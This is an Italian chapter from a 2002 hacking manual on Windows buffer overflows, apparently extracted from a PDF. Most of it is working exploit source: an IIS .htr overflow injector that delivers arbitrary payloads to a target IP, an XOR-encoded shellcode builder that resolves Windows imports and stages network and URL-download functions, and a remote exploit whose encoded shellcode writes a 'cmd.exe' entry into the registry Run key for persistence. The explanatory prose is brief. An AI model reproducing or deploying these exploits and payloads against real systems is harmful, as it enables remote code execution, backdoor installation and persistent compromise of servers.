Sei sulla pagina 1di 29

Hacker's Programming Book Parte 19

http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti


8uffer OverfIow non neIIo sfock
Siamo sempre sull'argomento dei buffer overflow i quali costituiscono la miniera di metodi legati all'hacking.
Cercare dentro ai programmi i punti in cui i codici non eseguono i controlli di fatto la maggiore risorsa che
l'hacker ha a disposizione per cercare di aprire shell all'interno di sistemi remoti oppure per elevare i propri
privilegi nell'ambito di qualche sistema in cui si possiede la possibilit di accedere con permissions basse.
Come ormai bene saprete i buffer overflow si riferiscono al metdo di inserire all'interno di un buffer in cui
generalmente un programma inserisce dei dati provenienti dal mondo esterno, una quantit di dati talmente
elevato da andare a sconfinare in altre zone di memoria ed in particolar modo da soprascrivere le locazioni
dove generalmente vengono mantenuti memorizzati gli indirizzi di ritorno delle funzioni chiamate all'interno
dei softwares stessi.
Questi sistemi cambiano a seconda del sistema operativo in cui sono presenti i programmi attaccati anche se
poi di fatto alcuni di questi metodi di fatto si legano al metodo di gestione dello stack fatto da quasi tutti i
sistemi.
l discorso legato al metodo usato per la soprascrittura dei dati nello stack lo abbiamo gi visto in pi capitoli.
A questo punto diventa interessante addentrarci nei metodi di gestione che vengono eseguiti da programmi
scritti in ambienti come ad esempio quello Windows.
Nell'ultimo aggiornamento, il file 18, avevamo visto diverse codifiche di moduli per l'apertura di shell relativi a
diversi sistemi operativi.
Quando si pensa di aver individuato un buffer overflow il problema diventa quello di essere in grado di
individuare in quale parte di questo risiede la parte usata per leggere l'instruction pointer.
Vi ricordo che gli indirizzi di ritorno salvato viene poi utilizzato per ripristinare il registro EP e quindi di
eseguire un ritorno dalla funzione che era stata chiamata.
Un piccolo trucco per eseguire questa funzione quella di utilizzare un pattern identificabile quando si
esegue l'iniezione del buffer.
l seguente modulo software esegue questo metodo :
// IIS Injector for NT
// written by Greg Hoglund <hoglund@ieway.com>
// http://www.rootkit.com
//
// If you would like to deliver a payload, it must be
// stored in a binary file.
// This injector decouples the payload from the
// injection code allowing you to
// create a numnber of different attack payloads.
// This code could be used, for
// example, by a military that needs to attack IIS
// servers, and has characterized
// the eligible hosts. The proper attack can be chosen
// depending on needs. Since
// the payload is so large with this injection
// vector, many options are available.
// First and foremost, virii can delivered with ease.
// The payload is also plenty
// large enough to remotely download and install a
// back door program.
// Considering the monoculture of NT IIS servers out
// on the 'Net, this represents a
// very serious security problem.
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;
if(argc < 2)
{
fprintf(stderr, "IIS Injector for NT\nwritten
by Greg Hoglund, " \
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
"http://www.rootkit.com\nUsage: %s <target" \
"ip> <optional payload file>\n",
argv[0]);
exit(0);
}
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(80);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct
sockaddr)))
{
static char theSploit[4096];
// fill pattern
char kick = 'z'; //0x7a
char place = 'A';
// my uber sweet pattern gener@t0r
for(int i=0;i<4096;i+=4)
{
theSploit[i] = kick;
theSploit[i+1] = place;
theSploit[i+2] = place + 1;
theSploit[i+3] = place + 2;
if(++place == 'Y') // beyond 'XYZ'
{
place = 'A';
if(--kick < 'a') kick = 'a';
}
}
_snprintf(theSploit, 5, "get /");
_snprintf(theSploit + 3005, 22, "BBBB.htr
HTTP/1.0\r\n\r\n\0");
// after crash, looks like inetinfo.exe is
// jumping to the address
// stored @ location 'GHtG' (0x47744847)
// cross reference back to the buffer pattern,
// looks like we need
// to store our EIP into theSploit[598]
// magic eip into NTDLL.DLL
theSploit[598] = (char)0xF0;
theSploit[599] = (char)0x8C;
theSploit[600] = (char)0xF8;
theSploit[601] = (char)0x77;
// code I want to execute
// will jump foward over the
// embedded eip, taking us
// directly to the payload
theSploit[594] = (char)0x90; //nop
theSploit[595] = (char)0xEB; //jmp
theSploit[596] = (char)0x35; //
theSploit[597] = (char)0x90; //nop
// the payload. This code is executed remotely.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// if no payload is supplied on stdin,
// then this default
// payload is used. int 3 is the debug
// interrupt and
// will cause your debugger to "breakpoint"
// gracefully.
// upon examiniation you will find that you are
// sitting
// directly in this code-payload.
if(argc < 3)
{
theSploit[650] = (char) 0x90; //nop
theSploit[651] = (char) 0x90; //nop
theSploit[652] = (char) 0x90; //nop
theSploit[653] = (char) 0x90; //nop
theSploit[654] = (char) 0xCC; //int 3
theSploit[655] = (char) 0xCC; //int 3
theSploit[656] = (char) 0xCC; //int 3
theSploit[657] = (char) 0xCC; //int 3
theSploit[658] = (char) 0x90; //nop
theSploit[659] = (char) 0x90; //nop
theSploit[660] = (char) 0x90; //nop
theSploit[661] = (char) 0x90; //nop
}
else
{
// send the user-supplied payload from
// a file. Yes, that's a 2K buffer for
// mobile code. Yes, that's big.
FILE *in_file;
in_file = fopen(argv[2], "rb");
if(in_file)
{
int offset = 650;
while( (!feof(in_file)) && (offset < 3000))
{
theSploit[offset++] = fgetc(in_file);
}
fclose(in_file);
}
}
send(s, theSploit, strlen(theSploit), 0);
}
closesocket(s);
}
}
l concetto di payload veramente importante i quanto al momento della sua esecuzione diventa possibile
usare alcuni trucchi per aggiungere delle funzionalit.
n genere quando si vedono degli exploit scritti per quello che riguarda i buffer overflow si vedono codificati in
assembler.
Esiste la metodologia del codice assembler inserito dentro al del codice C/C++ che semplifica la vita
relativamente alla codifica degli exploit stessi.
Questa tecnica viene definita di fusione e rispetto alla codifica pura in assembler permette di eseguire alcuni
trucchetti per quello che riguarda l'iniezione del codice all'interno dello spazio legato ad altri processi.
Quando in genere si parla di buffer overflow ci si riferisce ai concetti di injection vector e di payload.
l primo la sequenza di codici operativi che vengono utilizzati per gestire l'instruction pointer sulla macchina
remota.
Vi ricorderete che lo scopo del buffer overflow quello di inserire del codice e di modificare in qualche modo
il contenuto del registri EP in modo che l'esecuzione del programma passi attraverso il nostro codice.
l termine di traduzione di payload sarebbe carico utile o carica esplosiva e di fatto il concetto abbastanza
simile per tutti e due i termini.
nfatti il payload di fatto il carico da eseguire e quindi paragonabile alla carica esplosiva che viene inserita
nella macchina remota.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Come abbiamo visto nei capitoli precedenti questo vettore legato e quindi dipendente dalla macchina e dal
tipo di processore.
Lo scopo quindi del vettore quello di prelevare il payload da eseguire.
n altre parole il payload potrebbe essere paragonato ad un virus.
l payload pu funzionare ovunque, in qualsiasi momento senza essere condizionato dal modo con cui questo
viene iniettato nella macchina remota.
Se dovesse capitare che il payload non funzionasse nel modo corretto potrebbe solo dipendere dal fatto che
questo non pulito.
Grazie alla codifica mista C/Assembler possibile creare dei moduli in grado di creare dei paload puliti.
l vostro payload non deve esser locato nello stesso punto del vostro vettore d'iniezione anche se di fatto
comunemente pi semplice usare lo stack per ambedue.
Quando viene utilizzato lo stack per ambedue si deve prestare attenzione alle dimensioni del payload e come
il vettore interagisce con questo.
Se il payload iniziasse prima del vettore dovrete essere sicuri che questi non collidano.
Se dovessero farlo allora dovreste inserire un JUMP all'interno del payload per fare in modo che il tutto salti
sopra al vettore d'iniezione e che quindi questo continui dopo.
Se il tutto dovesse diventare troppo complesso allora converrebbe mettere il payload da un'altra parte.
Qualsiasi programma accetta dell'input dagli utenti e salva questo da qualche parte.
Qualsiasi posto dove vengono salvati dei dati potrebbe diventare il posto giusto per il payload.
l trucco quello di fare in modo che il processore esegua questo buffer.
Alcuni punti comuni dove salvare i payload sono :
File su disco che vengono letti in memoria
Variabili di evironment controllate dagli utenti locali
Variabili di evironment passati ad una richiesta WEB
Campi utente controllati da protocolli di rete
Dopo aver iniettato il payload lo scopo diventa semplicemente quello di fare in modo che il processore vada
ad eseguirlo.
La bellezza di salvare il payload da altre parti che non siano lo stack quello di liberarsi da alcune limitazioni
che questo potrebbe avere come ad esempio la dimensione del payload stesso.
l seguente sorgente descrive il metodo per creare dei metodi di attacco a pauload tramite buffer overflow
usando il sistema di sviluppo Micrsoft Visual C++.
l suo scopo quello di mantenere il payload e di eventualmente testarli tramite debugger.
Questo modulo pu essere utilizzato per la creazione di exploitbasati su WNDOWS.
// BUFFERZ.cpp : DeIines the entry point Ior the console //application.
#include "stdafx.h"
#include "windows.h"
#include "winbase.h"
#include "winsock.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
////////////////////////////////////////////////////////////////////// These
defines and strings are very important and control how the // payload will load
functions dynamically.
//
// Define each function you will use as an offset from ebp.
// After the payload runs, ebp will be pointing to the payload's // data
segment
// so these offsets relate to how the jump table is being used.
//
////////////////////////////////////////////////////////////////////
// our jump table for preloaded functions
// typically this is only LoadLibrary & GetProcAddress.
// These are the first two addresses in our jump table.
#define GET_PROC_ADDRESS [ebp]
#define LOAD_LIBRARY [ebp + 4]
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// our jump table for dynamically loaded functions
// these can be anything we want
// just make sure we don't overlap
#define GLOBAL_ALLOC [ebp + 8]
#define WRITE_FILE [ebp + 12]
#define SLEEP [ebp + 16]
#define READ_FILE [ebp + 20]
#define PEEK_NAMED_PIPE [ebp + 24]
#define CREATE_PROC [ebp + 28]
#define GET_START_INFO [ebp + 32]
#define CREATE_PIPE [ebp + 36]
#define INTERNET_OPEN [ebp + 40]
#define INTERNET_CLOSE_H [ebp + 44]
#define INTERNET_OPEN_URL [ebp + 48]
#define INTERNET_READ_FILE [ebp + 52]
#define WSASTARTUP [ebp + 56]
#define _SOCKET [ebp + 60]
#define BIND [ebp + 64]
#define CONNECT [ebp + 70]
#define SEND [ebp + 74]
#define SELECT [ebp + 78]
#define RECV [ebp + 82]
#define URL_PTR [ebp + 86]
////////////////////////////////////////////////////////////////////
// our data segment for the payload
// format:
//
// 1. functions to import (must already be loaded by target app)
// a. DLL name \0
// b. function name \0 function name \0 ... etc etc \0\0
// (double null terminates)
// c. Next DLL name \0
// d. function name \0 function name \0 ... etc etc \0\0
// (double null terminates)
// (Continue in this pattern until done)
// e. \0 (Null DLL Name terminates loading cycle)
// f. any additional data \0 data \0 data... \0\0 (dbl NULL
// terminated)
////////////////////////////////////////////////////////////////////
char data[] = "kernel32.dll\0" \
"GlobalAlloc\0WriteFile\0Sleep\0ReadFile\0PeekNamedPipe\0" \
"CreateProcessA\0GetStartupInfoA\0CreatePipe\0\0" \
"wininet.dll\0" \
// function list follows DLL name
"InternetOpenA\0InternetCloseHandle\0" \
// double null terminates function list
"InternetOpenUrlA\0InternetReadFile\0\0" \
"ws2_32.dll\0" \
"WSAStartup\0socket\0bind\0connect\0send\0select\0recv\0\0" \
// NULL DLL name ends loading cycle
"\0" \
// extra data follows, double NULL terminates
"http://10.0.0.5\0\0";
void test_me( char *, int );
void build_rvas();
char *gPayload = NULL;
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// -------> Fusion Technique <--------------------------------------// compile
only assembly - can build other x86 platforms (just not // debug easily)
// make sure all functions are static
#pragma check_stack( off )
////////////////////////////////////////////////////////////////////static
__declspec(naked) void before_all(void)
{
// this function is called first when the payload strikes
// buzz forward and try to find canary value
__asm
{
////////////////////////////////////////////////////////////////////// the
payload must be decoded at this point. If we were using an // encoded payload,
we would insert the decoder code here
// note: the EB 00 00 00 00 (short call +0) which you see below
// (getting bearings) is not possible if NULL characters are
// disallowed, so the decoding loop cannot use this trick (errg! - ) // there
must be a better way! (still doing research)
////////////////////////////////////////////////////////////////////
int 3 // debugging only
call RELOC
RELOC: pop edi // get our bearings (our current eip)
mov ebp, esp
sub esp, 3000 // get the stack out of the way
GET_DATA_SECTION:
//////////////////////////////////
// loop until we get to the data
// section, as marked by the
// canary value
//////////////////////////////////
inc edi // our bearing point
cmp dword ptr [edi], -1
jne GET_DATA_SECTION
add edi, 4 // we made it, get past canary itself
mov esi, ebp // output ptr
GET_PRELOADED_FUNCTIONS:
//////////////////////////////////
// get pointers to preloaded
// functions, based on checksum
// of function name, uses
// PE header's import table
// -NULL DWORD terminates
//////////////////////////////////
mov eax, dword ptr [edi]
cmp eax, 0
je DONE_PRELOAD
// build_rvas uses edi, so save value
push edi
mov edi, eax
////////////////////////////////////////
// build_rvas returns the function
// address assocaited with our checksum,
// checksum passed in edi
// returns function addr in edi
////////////////////////////////////////
call build_rvas
mov dword ptr [esi], edi // get the function address
pop edi
add esi, 4
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
add edi, 4
jmp GET_PRELOADED_FUNCTIONS
DONE_PRELOAD:
int 3
add edi, 4 // get past NULL
LOAD_DLL_FUNCTIONS:
////////////////////////////////////////////
// Dynamically load new DLL's and functions
////////////////////////////////////////////
int 3
cmp byte ptr [edi], 0
je LOAD_DATA // double NULL means done
lea eax, [edi]// load DLL name
push eax
call LOAD_LIBRARY
cmp eax, 0
je ALL_DONE // not found error
mov edx, eax // DLL handle
// load functions
mov ecx, 10000 // max string length - whatever
NEXT_FUNCTION:
xor eax, eax
repne scas
cmp byte ptr [edi], 0
je FUNCTION_DONE //done loading functions
push edx //save DLL handle
push edi
push edx
call GET_PROC_ADDRESS
pop edx //restore DLL handle
cmp eax, 0 //missing functions, barf
je ALL_DONE
mov dword ptr [esi], eax
add esi, 4
jmp NEXT_FUNCTION
FUNCTION_DONE:
inc edi // get past NULL
jmp LOAD_DLL_FUNCTIONS // next DLL
LOAD_DATA:
///////////////////////////////////////////////////////
// build pointers to all of our additional data
// strings (make sure there is room present)
///////////////////////////////////////////////////////
int 3
xor eax, eax
repne scas
cmp byte ptr [edi], 0
je ALL_DONE //done loading data
mov dword ptr [esi], edi //save ptr to data item
add esi, 4
jmp LOAD_DATA
ALL_DONE:
int 3 // debug break - we are done
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
}
}
////////////////////////////////////////////////
// downloads a file from anywhere on internet
// and executes it locally (not implemented
// in this payload)
////////////////////////////////////////////////
static __declspec(naked) void exec_remote_file()
{
__asm
{
ret
}
}
static __declspec(naked) void _WSASTARTUP()
{
__asm
{
sub esp, 8
push esp
push 0101h
call WSASTARTUP
add esp, 8
or eax, eax
ret
}
}
////////////////////////////////////////////////
// lookup function ptr based on checksum
// - argument (checksum) passed in edi
// - returns function ptr in edi
////////////////////////////////////////////////
static __declspec(naked) void build_rvas()
{
__asm
{
push eax
push ebx
push ecx
push edx
push esi
mov ebx, 0x0040003C // start of PE header in memory
mov ecx, [ebx]
add ecx, 0x00400004 // beginning of COFF header, fill in data
lea eax, [ecx + 0x14] // optional header offset
mov esi, [eax + 68h] // offset to .idata data directory
add esi, 0x00400000 // make a real address (offset + base)
NEXT_DLL:
// esi holds data directory offset - the 'DIRECTORY'
mov eax, [esi] // RVA of Import Lookup Table - the 'LOOKUP'
cmp eax, 0 // zero means end of table
je DONE_LOADING
add eax, 0x00400000 // make real address
mov edx, [esi + 16] // RVA of 'THUNK' table
add edx, 0x00400000 // make real address
NEXT_FUNCTION:
mov ebx, [eax] // 'LOOKUP' 32 bit value ('RVA of 'HINT')
mov ecx, ebx
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
and ecx, 0x80000000 // check flags for ordinal/ascii
cmp ecx, 0
jne SKIP_ORDINAL
// we are here if this table has ascii names
add ebx, 0x00400000 // RVA of 'HINT' - make real address
// function lookup by checksum
add ebx, 2 // skip first 2 bytes
xor ecx, ecx
_F1:
xor cl, byte ptr [ebx]
rol ecx, 8
inc ebx
cmp byte ptr [ebx], 0
jne _F1
cmp ecx, edi // compare destination checksum
jne _F3
mov edi, [edx]
//int 3
jmp DONE_LOADING // we are here if we match
_F3:
add edx, 4 // next entry in 'THUNK' table
add eax, 4 // next entry in import table
cmp [eax], 0 // zero means end of table
jnz NEXT_FUNCTION // drop thru to next DLL if we have no //more
functions
SKIP_ORDINAL:
add esi, 20 // 20 bytes to next entry in table
mov edx, [eax] // pointing to 'LOOKUP'
cmp edx, 0 // zero means end of 'LOOKUP' table - //goto next DLL
jne NEXT_DLL
DONE_LOADING:
pop esi
pop edx
pop ecx
pop ebx
pop eax
ret
}
}
// a housekeeping bookmark so we can calculate code size
__declspec(naked) static void after_all()
{
__asm
{
ret
}
}
// [ END PAYLOAD ]
////////////////////////////////////////////////////////////////////
#pragma check_stack
////////////////////////////////////////////////////
// the following functions are used by our local program to
// set up the payload and such - they are not part of
// our actual payload code.
////////////////////////////////////////////////////
DWORD GetChecksum( char *p )
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
{
DWORD aChecksum = 0;
__asm
{
xor eax, eax
mov esi, p
ALOOP:
xor al, byte ptr [esi]
rol eax, 8
inc esi
cmp byte ptr [esi], 0
jne ALOOP
mov dword ptr [aChecksum], eax
}
return aChecksum;
}
// << utility function >>
void encode_payload( char *thePayload, int theLen, char theEncodeByte )
{
while(theLen--)
{
*(thePayload++) ^= theEncodeByte;
}
}
#define number_of_import_functions 3
BOOL fDebug = FALSE;
int __cdecl main(int argc, char* argv[])
{
printf("The Payload is Coming!\n");
/////////////////////////////////////////////////////
// Check for debug mode. If it is set, we will
// overflow ourselves as a test.
/////////////////////////////////////////////////////
if(argc > 1 && argv[1][0] == '-')
{
switch(argv[1][1])
{
case 'd':
case 'D':
// debug mode
fDebug = TRUE;
break;
}
}
///////////////////////////////////////////////////////////
// calculate code segment length by subtracting the
// difference of two function addresses.
//
// these funnctions have been compiled locally into our
// code segment
//
///////////////////////////////////////////////////////////
void *code_segment = (void *) before_all;
void *after_code_segment = (void *) after_all;
unsigned long code_len = (long)after_code_segment - (long)code_segment;
///////////////////////////////////////////////////////////
// add a data segment to the end of our buffer
//
///////////////////////////////////////////////////////////
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
char *data_segment;
unsigned long data_len = (sizeof(DWORD) * (number_of_import_functions + 1)) +
100;
///////////////////////////////////////////////////////////
// the actual code is copied from code segment and into
// our new buffer here
//
///////////////////////////////////////////////////////////
char *aPayload = new char[code_len + data_len];
char *aCursor = aPayload;
///////////////////////////////////////////////////////////
// header for getting bearings w/o using a NULL character
// translates to:
// YEP: pop ebp
// jmp OVER
// call YEP
// OVER: ;decoder goes here
///////////////////////////////////////////////////////////
char bearing_code[] = "\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF";
memcpy(aCursor, bearing_code, strlen(bearing_code));
aCursor += strlen(bearing_code);
/////////////////////////////////////////////////////////////////
// now the code to XOR decode everything
// translates to:
// mov eax, ebp
// add eax, OFFSET (see offset below)
/////////////////////////////////////////////////////////////////
char xor_decode1[] = "\x8B\xC5\x83\xC0";
unsigned char aOffset = 17; // determined thru calculation of
// operand sizes,offset should land us directly beyond the decoder // section
memcpy(aCursor, xor_decode1, strlen(xor_decode1));
aCursor += strlen(xor_decode1);
memcpy(aCursor, (char *)&aOffset, sizeof(unsigned char)); //OFFSET
aCursor += sizeof(unsigned char);
/////////////////////////////////////////////////////////////////
// xor ecx, ecx
// mov cx, SIZE
/////////////////////////////////////////////////////////////////
char xor_decode2[] = "\x33\xC9\x66\xB9";
unsigned short aSize = code_len + data_len;
memcpy(aCursor, xor_decode2, strlen(xor_decode2));
aCursor += strlen(xor_decode2);
memcpy(aCursor, (char *)&aSize, sizeof(unsigned short)); //OFFSET
aCursor += sizeof(unsigned short);
/////////////////////////////////////////////////////////////////
// LOOPA: xor [eax], 0xAA
// inc eax
// loop LOOPA
//
// this completes the decoding header - everything else is
// fusion!
/////////////////////////////////////////////////////////////////
char xor_decode3[] = "\x80\x30\xAA\x40\xE2\xFA";
memcpy(aCursor, xor_decode3, strlen(xor_decode3));
aCursor += strlen(xor_decode3);
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
///////////////////////////////////////////////////////////////// // then
the rest of the payload code (which is xor protected)
/////////////////////////////////////////////////////////////////
memcpy(aCursor, code_segment, code_len);
///////////////////////////////////////////////////////////
// this block copies the payloads "data segment" into our
// new buffer
///////////////////////////////////////////////////////////
// ptr to data portion
char *curr = aCursor + code_len;
///////////////////////////////////////////////////////////
// GetChecksum calculates a checksum of a string. This
// checksum is 4 bytes long. It will be recognized by our
// payload when loading functions from the import table
// of the target process.
//
// NOTE: casting of DWORD type results in increments of 4
// bytes in ptr arithmetic.
///////////////////////////////////////////////////////////
*((DWORD *)curr+0) = 0xFFFFFFFF; //canary value
*((DWORD *)curr+1) = GetChecksum("GetProcAddress");
*((DWORD *)curr+2) = GetChecksum("LoadLibraryA");
*((DWORD *)curr+3) = NULL; //
memcpy(((DWORD *)curr+4), (char *)data, 100);
///////////////////////////////////////////////////////////////// // encode
our payload for delivery (remove NULL characters)
// 'AA' is hardcoded in decoder above, so encode with it here
// too.
/////////////////////////////////////////////////////////////////
encode_payload( aCursor, code_len + data_len, '\xAA');
// overflow ourselves as a test
//if(fDebug)
{
int call_offset = 3; // where to start eip from
test_me(aPayload, call_offset);
}
if(!getchar())
{
// Only a compiler trick - we need the compiler to think these
// functions are used. This really doesn't get run, but
// functions are never instantiated in the code segment
// unless the compiler thinks they get called at least once
before_all();
after_all();
}
return 0;
}
// for testing the payload on the stack (no injection vector)
void test_me(char *input_ptr, int call_offset)
{
char too_small[1000];
char *i = too_small;
memcpy(too_small, input_ptr, 1000);
i += call_offset;
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// just call the first address (just payload was inserted, no
// injection vector.
__asm mov eax, i
__asm call eax
}
La ricerca dei buffer overflow di fatto una delle attivit pi eccitanti ce l'hacker pu condurre.
La tipologia delle macchine e dei sistemi operativi amplia le possibilit legate alla tipologia di buffer overflow
che possono essere creati.
Come dicevamo prima il PE, ovvero la testata di un file eseguibile in ambiente Windows, contiene diverse
informazioni tra le quali alcune relative alle funzioni importate.
Queste che seguono sono di fatto alcune funzioni di quelle specificate:
Registry
Manipulation
Window and GUI
Manipulation
Memory and Exception
Handling
File and Shared Memory
Manipulation
RegQueryValueExA PostMessageA HeapAlloc OpenMutexA
RegCloseKey SetWindowPlacement SetConsoleCtrlHandler OpenFileMappingA
RegOpenKeyExA EndDialog UnhandledExceptionFilter FindFirstFileA
RegOpenKeyA DialogBoxParamA HeapReAlloc SearchPathA
RegSetValueExA DestroyWindow HeapDestroy ReadFile
RegEnumValueA GetWindowPlacement HeapCreate WriteFile
CreateWindowExA VirtualFree
RegisterClassExA VirtualAlloc
GetMessageA SetUnhandledExceptionFilte
r
UpdateWindow TlsFree
ShowWindow TerminateProcess
PostQuitMessage GetCurrentProcess
GetModuleHandleA
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Altre funzioni invece sono gi lette all'interno del process space di Windows per cui utilizzarle significa
semplicemente individuare dove queste siano posizionate in memoria.
Utilizzando dei debugger diventa semplice individuarle come ad esempio mediante WDASM.
Prendiamo ad esempio le funzioni per la manipolazione delle voci del registro.
Name: Jump Table: Actual (NTServer 4.0 SP3)
ADVAPI32.RegCloseKey [43D004] 77DB75A9
ADVAPI32.RegCreateKeyExA [43D008] 77DBA7F9
ADVAPI32.RegOpenKeyExA [43D00C] 77DB851A
ADVAPI32.RegQueryValueExA [43D010] 77DB8E19
l seguente codice mostra come utilizzare le funzioni gi presenti all'interno del process space.
#include "windows.h"
#include "stdio.h"
#include "winsock.h"
#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"
char aSendBuffer[] =
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
//mov eax, 0x12ED21FF
//sub al, 0xFF
//rol eax, 0x018
//mov ebx, eax
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
// xor ecx, ecx
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// mov ecx, 0x46
//LOOP_TOP:
// dec eax
// xor [eax], 0x80
// dec ecx
// jnz LOOP_TOP (75 F9)
"\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \
//push ebx
"\x53" \
//mov eax, 77787748
//mov edx, 77777777
"\xB8\x48\x77\x78\x77" \
"\xBA\x77\x77\x77\x77" \
//xor eax, edx
//push eax
"\x33\xC2\x50" \
//xor eax, eax
//push eax
"\x33\xC0\x50" \
// mov eax, 0x77659BAe
// xor eax, edx
// push eax
"\xB8\xAE\x9B\x65\x77\x33\xC2\x50"
//mov eax, F7777775
//xor eax, edx
//push eax
"\xB8\x75\x77\x77\xF7" \
"\x33\xC2\x50" \
//mov eax, 7734A77Bh
//xor eax, edx
//call [eax]
"\xB8\x7B\xA7\x34\x77" \
"\x33\xC2" \
"\xFF\x10" \
//mov edi, ebx
//mov eax, 0x77659A63
//xor eax, edx
//sub ebx, eax
//push ebx
//push eax
//push 1
//xor ecx, ecx
//push ecx
//push eax
//push [edi]
//mov eax, 0x7734A777
//xor eax, edx
//call [eax]
"\x8B\xFB" \
"\xBA\x77\x77\x77\x77" \
"\xB8\x63\x9A\x65\x77\x33\xC2" \
"\x2B\xD8\x53\x50" \
"\x6A\x01\x33\xC9\x51" \
"\xB8\x70\x9A\x65\x77" \
"\x33\xC2\x50" \
"\xFF\x37\xB8\x77\xA7\x34" \
"\x77\x33\xC2\xFF\x10" \
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
// halt or jump to somewhere harmless
"\xCC" \
"AAAAAAAAAAAAAAA" \
// nop (int 3) 92
// nop (int 3)
// jmp
"\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
/* registry key path
"\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
"\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
"\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
"\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
"\xD2\xF5\xEE\x80" \
/* value name "_UR_HAXORED_" */
"\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
/* the command "cmd.exe /c" */
"\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";
int main(int argc, char* argv[])
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN sockaddr;
sockaddr.sin_family = AF_INET;
if(3 == argc)
{
int port = atoi(argv[2]);
sockaddr.sin_port = htons(port);
}
else
{
sockaddr.sin_port = htons(TARGET_PORT);
}
if(2 <= argc)
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
}
else
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
}
try
{
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET == s)
throw WSAGetLastError();
if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr,
sizeof(SOCKADDR)) )
throw WSAGetLastError();
send(s, aSendBuffer, strlen(aSendBuffer), 0);
closesocket(s);
WSACleanup();
}
catch(int err)
{
fprintf(stderr, "error %d\n", err);
}
return 0;
}
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Sfrumenfi coIIoferoIi
Come abbiamo visto in altri capitoli esistono alcune tecniche e metodologie che sono comuni tra quelle
dell'hacker e quelle del cracker ed in particolar modo gli strumenti che spesso devono esser utilizzati.
A che cosa mi riferisco in particolar modo ?
Chiaramente quando si parlato di tecniche legate ai buffers overflow ci siamo riferiti ai debugger e ai
disassemblatori ma a questo punto dobbiamo ampliare la famiglia guardando una serie di utilities che
servono ad analizzare i mutamenti legati al sistema operativo a livello di diversi aspetti come ad esempio
registro, files e cosi via.
Su di un sistema chiamato
http://www.sysinternals.com
sono disponibili gratuitamente una serie di utilities come ad esempio REGMON, FLEMON, DSKMON ecc. i
quali permettono di spiare in tempo reale tutte le chiamate di sistema indirizzate ad eseguire funzioni su
questi oggetti.
Come ben saprete, ad esempio a livello di registro, esistono delle funzioni particolari che permettono di
leggere, scrivere e cercare delle voci all'interno del registro stesso come ad esempio :
